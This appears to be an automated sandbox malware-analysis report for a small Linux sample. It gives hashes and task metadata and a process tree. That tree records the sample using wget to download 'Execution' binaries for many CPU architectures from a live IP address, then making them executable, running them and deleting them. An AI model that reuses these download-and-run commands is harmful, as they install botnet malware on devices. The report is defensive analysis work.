Analysis
-
max time kernel
17s -
max time network
19s -
platform
debian-9_armhf -
resource
debian9-armhf-20240226-en -
resource tags
arch:armhfimage:debian9-armhf-20240226-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
11/03/2024, 17:27
Static task
static1
Behavioral task
behavioral1
Sample
c12d6a5b59b7ee9d5900b1cd05bd4cf7
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
c12d6a5b59b7ee9d5900b1cd05bd4cf7
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
c12d6a5b59b7ee9d5900b1cd05bd4cf7
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
c12d6a5b59b7ee9d5900b1cd05bd4cf7
Resource
debian9-mipsel-20240226-en
General
-
Target
c12d6a5b59b7ee9d5900b1cd05bd4cf7
-
Size
2KB
-
MD5
c12d6a5b59b7ee9d5900b1cd05bd4cf7
-
SHA1
550e280ff928b1fcdbeb739eb51d5bbd4483632a
-
SHA256
d6bb7d6aea2ad9cbd0fefea9352e0f3b789f022f0df451801e9f6d64c1cb2aec
-
SHA512
ae8f1edd24daa7df3bdc9df16600bfeb6e8df1102831f8ac206dd877762ee55fa5a1e7c9a5661fffba31b312b306b1c571dcd8cb328d88e63285773658fac87d
Malware Config
Signatures
Processes
-
/tmp/c12d6a5b59b7ee9d5900b1cd05bd4cf7/tmp/c12d6a5b59b7ee9d5900b1cd05bd4cf71⤵PID:643
-
/usr/bin/wgetwget http://167.99.91.177/Execution.mips2⤵PID:645
-
-
/bin/chmodchmod +x Execution.mips2⤵PID:654
-
-
/tmp/Execution.mips./Execution.mips2⤵PID:656
-
-
/bin/rmrm -rf Execution.mips2⤵PID:657
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.mpsl2⤵PID:660
-
-
/bin/chmodchmod +x Execution.mpsl2⤵PID:675
-
-
/tmp/Execution.mpsl./Execution.mpsl2⤵PID:676
-
-
/bin/rmrm -rf Execution.mpsl2⤵PID:677
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.sh42⤵PID:678
-
-
/bin/chmodchmod +x Execution.sh42⤵PID:682
-
-
/tmp/Execution.sh4./Execution.sh42⤵PID:683
-
-
/bin/rmrm -rf Execution.sh42⤵PID:684
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.x862⤵PID:685
-
-
/bin/chmodchmod +x Execution.x862⤵PID:686
-
-
/tmp/Execution.x86./Execution.x862⤵PID:687
-
-
/bin/rmrm -rf Execution.x862⤵PID:688
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.arm62⤵PID:689
-
-
/bin/chmodchmod +x Execution.arm62⤵PID:693
-
-
/tmp/Execution.arm6./Execution.arm62⤵PID:694
-
-
/bin/rmrm -rf Execution.arm62⤵PID:695
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.i6862⤵PID:697
-
-
/bin/chmodchmod +x Execution.i6862⤵PID:699
-
-
/tmp/Execution.i686./Execution.i6862⤵PID:701
-
-
/bin/rmrm -rf Execution.i6862⤵PID:702
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.ppc2⤵PID:703
-
-
/bin/chmodchmod +x Execution.ppc2⤵PID:729
-
-
/tmp/Execution.ppc./Execution.ppc2⤵PID:731
-
-
/bin/rmrm -rf Execution.ppc2⤵PID:732
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.i5862⤵PID:733
-
-
/bin/chmodchmod +x Execution.i5862⤵PID:736
-
-
/tmp/Execution.i586./Execution.i5862⤵PID:739
-
-
/bin/rmrm -rf Execution.i5862⤵PID:740
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.m68k2⤵PID:742
-
-
/bin/chmodchmod +x Execution.m68k2⤵PID:744
-
-
/tmp/Execution.m68k./Execution.m68k2⤵PID:746
-
-
/bin/rmrm -rf Execution.m68k2⤵PID:747
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.sparc2⤵PID:748
-
-
/bin/chmodchmod +x Execution.sparc2⤵PID:751
-
-
/tmp/Execution.sparc./Execution.sparc2⤵PID:752
-
-
/bin/rmrm -rf Execution.sparc2⤵PID:753
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.arm42⤵PID:755
-
-
/bin/chmodchmod +x Execution.arm42⤵PID:758
-
-
/tmp/Execution.arm4./Execution.arm42⤵PID:759
-
-
/bin/rmrm -rf Execution.arm42⤵PID:760
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.arm52⤵PID:761
-
-
/bin/chmodchmod +x Execution.arm52⤵PID:763
-
-
/tmp/Execution.arm5./Execution.arm52⤵PID:764
-
-
/bin/rmrm -rf Execution.arm52⤵PID:765
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.arm72⤵PID:766
-
-
/bin/chmodchmod +x Execution.arm72⤵PID:767
-
-
/tmp/Execution.arm7./Execution.arm72⤵PID:768
-
-
/bin/rmrm -rf Execution.arm72⤵PID:769
-
-
/usr/bin/wgetwget http://167.99.91.177/Execution.ppc2⤵PID:770
-
-
/bin/chmodchmod +x Execution.ppc2⤵PID:771
-
-
/tmp/Execution.ppc./Execution.ppc2⤵PID:772
-
-
/bin/rmrm -rf Execution.ppc2⤵PID:773
-